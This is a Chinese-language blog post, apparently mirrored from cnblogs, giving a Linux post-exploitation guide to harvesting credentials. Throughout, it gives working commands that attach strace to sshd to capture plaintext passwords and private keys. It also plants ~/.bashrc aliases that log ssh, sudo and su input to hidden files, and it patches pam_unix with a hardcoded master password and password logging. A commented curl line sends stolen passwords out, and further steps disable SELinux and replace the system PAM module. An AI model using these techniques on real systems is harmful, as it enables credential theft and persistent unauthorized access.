zoukankan      html  css  js  c++  java
  • linux 后渗透凭据收集

    linux 后渗透凭据收集

    strace

    • 使用条件
      Linux Kernel 3.4及更高版本支持完全限制或禁用ptrace的功能。
      通过 kernel.yama.ptrace_scope 限制和禁用
      
    • 收集指定进程

      strace -p 跟踪制定进程pid
      
    • 获取sshd进程明文密码strace参数解释

      -f 跟踪由fork调用所产生的子进程.
      -F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
      -p pid 跟踪指定的进程pid.
      -t 在输出中的每一行前加上时间信息.
      -e trace=set 只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
      

    获取sshd进程明文密码

    # 使用括号执行程序,当前shell退出,执行的程序不会退出
    (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
    

    获取sshd 进程私钥

    # 使用括号执行程序,当前shell退出,执行的程序不会退出
    # 如果私钥设置了密码,无法抓到私钥的密码
    # grep 'PRIVATE KEY' /tmp/.sshd.log 查看私钥
    (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
    

    alias

    给指定程序设置命令别名,使运行指定程序时自动strace读写系统调用,收集登录凭证
    

    收集ssh登陆凭证

    # 添加命令别名
    vi ~/.bashrc或者/etc/bashrc
    alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
    # 使命令别名立即生效
    source ~/.bashrc
    

    收集su 、sudo 等

    # 添加命令别名
    vi ~/.bashrc或者/etc/bashrc
    alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
    alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
    # 使命令别名立即生效
    source ~/.bashrc
    
    

    PAM 后门

    环境搭建

    cat /etc/*-release & uname -a 
    rpm -qa|grep pam    #查看当前PAM版本
    http:/xxx#download 对应版本
    yum install flex -y 
    

    修改编译 ./Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

    retval = _unix_verify_password(pamh,name,p,crtl); //找到该行,快速找一下函数
        
    int pam_sm_authenticate 函数内 定义FILE *fp;
    
    添加code
    if(strcmp(p,"LOL_uzi2020@")==0){
        return PAM_SUCCESS;  // 这里的LOL_uzi2020@ 可以自行修改为自己的密码
    }
    
    if(retval==PAM_SUCCESS){
        fp = fopen("/tmp/.logs","a");
        fprintf(fp,"%s->%s
    ",name,p); //记录密码在/tmp/.logs 
        fclose(fp);   
       // system("curl http://127.0.0.1:99/`cat /tmp/.logs|tail -n 1|base64` -s --connect-timeout 3 -o /dev/null");  #用服务接收密码  
       //  可以自己去加一些C 用DNS协议出数据,或者socket传输数据 等等,具体看大哥们的脑洞
       // Backdoor  - DNS code extracted from https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168 */  
    }
    
    
    
     ./Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so //编译后生成的so文件
    
    

    查看selinux

    getenforce  # 查看selinux 状态
    setenforce 0 # 关闭selinux
    

    替换pam_unix.so

    cp /lib64/security/pam_unix.so ./pam_unix.so.bak # 先进行备份 (以防崩了无法还原)
    
    cp ./pam_unix.so /lib64/security/pam_unix.so
    
    

    总结

    当linux系统配置文件/proc/sys/kernel/yama/ptrace_scope值不为3时,可以通过strace记录任何程序的系统调用(常用read、write调用)来获取登录凭证

    0-经典ptrace权限:进程可以将PTRACE_ATTACH传递给任何其他进程,只要它是可转储的(即没有转换uid,没有特权启动或没有调用prctl(PR_SET_DUMPABLE ...)。同样,PTRACE_TRACEME为不变。
    
    1-受限制的ptrace:进程必须具有预定义的关系下一个它想调用PTRACE_ATTACH。默认情况下,当上面的关系时,这种关系只是其后代的关系也符合经典标准。要改变关系,下级可以调用prctl(PR_SET_PTRACER,debugger,...)进行声明允许的调试器PID调用劣质的PTRACE_ATTACH。使用PTRACE_TRACEME不变。
    
    2-仅限管理员附加:只有具有CAP_SYS_PTRACE的进程才能使用ptrace,通过PTRACE_ATTACH,或通过子级调用PTRACE_TRACEME。
    
    
  • 相关阅读:
    移动端适配原理浅析
    springMVC框架下——通用接口之图片上传接口
    Nginx服务器
    sql sever和mysql 卸载及oracle安装
    高清图片爬取
    中国部分大学排名爬虫
    selenium和PhantomJS的安装
    NYOJ2—括号配对问题
    爬虫之小说爬取
    数据库系统概论书本基础知识
  • 原文地址:https://www.cnblogs.com/0xdd/p/13095330.html
Copyright © 2011-2022 走看看